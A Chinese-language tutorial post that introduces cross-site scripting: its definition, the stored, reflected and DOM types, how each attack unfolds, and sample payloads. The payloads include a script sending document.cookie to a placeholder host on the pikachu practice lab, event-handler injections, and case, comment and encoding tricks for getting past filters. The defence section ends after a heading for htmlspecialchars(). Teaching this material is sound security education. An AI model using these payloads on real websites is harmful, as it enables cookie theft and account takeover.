XSS(一)概述

文章目录

1、概述

1.1、定义

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意JavaScript代码,当用户访问包含该恶意代码的页面时,浏览器会执行这段代码,从而实现攻击者的恶意目的。

  • 注意:为与CSS(层叠样式表)区分,故简称XSS而非CSS。

1.2、原理

Web应用程序未对用户输入的数据进行严格的验证、过滤或转义,导致攻击者输入的恶意脚本被当作合法代码嵌入到页面中,并被其他用户的浏览器解析执行。

  • 本质是"信任了不可信的输入",将用户输入的数据直接或间接输出到页面,未做安全处理。

2、XSS的分类

2.1、存储型

2.1.1、特点

恶意脚本被永久存储在目标网站的服务器中(如数据库、评论区、留言板等),所有访问该页面的用户都会触发恶意脚本的执行。

2.1.2 攻击流程

  1. 攻击者将恶意JavaScript代码注入到目标网站的可存储区域(如发布含恶意代码的评论);

  2. 目标网站将恶意代码存储到服务器数据库;

  3. 其他用户访问包含该恶意代码的页面时,网站从数据库读取恶意代码并输出到页面;

  4. 用户浏览器解析执行恶意代码,完成攻击。

2.2、反射型

2.2.1、特点

恶意脚本通过URL参数等方式注入,目标网站仅将其"反射"给用户浏览器执行,不会存储在服务器中,通常需要攻击者诱导用户点击恶意链接才能触发。

2.2.2、攻击流程

  1. 攻击者构造包含恶意JavaScript代码的URL;

  2. 通过邮件、短信、社交软件等方式诱导用户点击该恶意URL;

  3. 用户点击后,浏览器向目标网站发送请求,URL中的恶意代码被一同提交;

  4. 目标网站未对参数做安全处理,直接将恶意代码输出到页面;

  5. 用户浏览器执行恶意代码,完成攻击。

2.3、DOM型

2.3.1、特点

恶意脚本的注入和执行完全发生在客户端的DOM解析过程中,目标网站的服务器未参与数据的处理和输出,漏洞根源在于前端JavaScript代码对用户输入的处理不当。

2.3.2、攻击流程

  1. 攻击者构造包含恶意代码的URL(或诱导用户输入恶意代码);

  2. 用户访问URL或输入恶意代码后,前端JavaScript代码读取URL参数或用户输入的数据;

  3. 前端代码未对数据做安全处理,直接通过DOM操作(如innerHTML、document.write、document.cookie、document.referer、location.href等)将其插入到页面中;

  4. 浏览器解析DOM时执行恶意代码,完成攻击。

2.1、三种类型

类型 存储位置 触发方式 服务器参与
存储型 数据库 用户访问含恶意代码的页面即可触发
反射型 无(仅通过URL传递) 诱导用户点击恶意URL
DOM型 无(客户端DOM中) 用户访问恶意URL或输入恶意数据

3、XSS常见攻击手段

3.1、基础脚本注入

javascript 复制代码
<script>alert('XSS')</script> // 弹出提示,测试XSS是否存在
<script>document.location="http://ip/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie</script>

3.2、利用HTML标签特性

javascript 复制代码
<img src=x onerror=alert('XSS')> // 图片加载失败时执行onerror事件中的脚本
<a href=javascript:alert('XSS')>点击我</a> // 点击链接时执行脚本
<script>confirm(1)</script>
<script>prompt(1)</script>
onclick='javascript:alert(xss)'

3.3、绕过技巧

  1. 大小写绕过:如,针对未区分大小写过滤的场景;
  2. 空格/注释绕过: 利用注释干扰过滤规则;
javascript 复制代码
如<script/*comment*/>alert('XSS') </script>
  1. 编码绕过:对脚本进行URL编码、HTML实体编码、Unicode编码等,如javascript:alert('XSS')可编码为javascript:%61%6C%65%72%74%28%27%58%53%53%27%29;

4、XSS防御

4.1、htmlspecialchars()函数

相关推荐
子兮曰4 小时前
OpenClaw入门:从零开始搭建你的私有化AI助手
前端·架构·github
吴仰晖4 小时前
使用github copliot chat的源码学习之Chromium Compositor
前端
1024小神4 小时前
github发布pages的几种状态记录
前端
不像程序员的程序媛6 小时前
Nginx日志切分
服务器·前端·nginx
北原_春希7 小时前
如何在Vue3项目中引入并使用Echarts图表
前端·javascript·echarts
尽意啊7 小时前
echarts树图动态添加子节点
前端·javascript·echarts
吃面必吃蒜7 小时前
echarts 极坐标柱状图 如何定义柱子颜色
前端·javascript·echarts
O_oStayPositive7 小时前
Vue3使用ECharts
前端·javascript·echarts
竹秋…7 小时前
echarts自定义tooltip中的内容
前端·javascript·echarts
宝贝露.7 小时前
Axure引入Echarts图无法正常显示问题
前端·javascript·echarts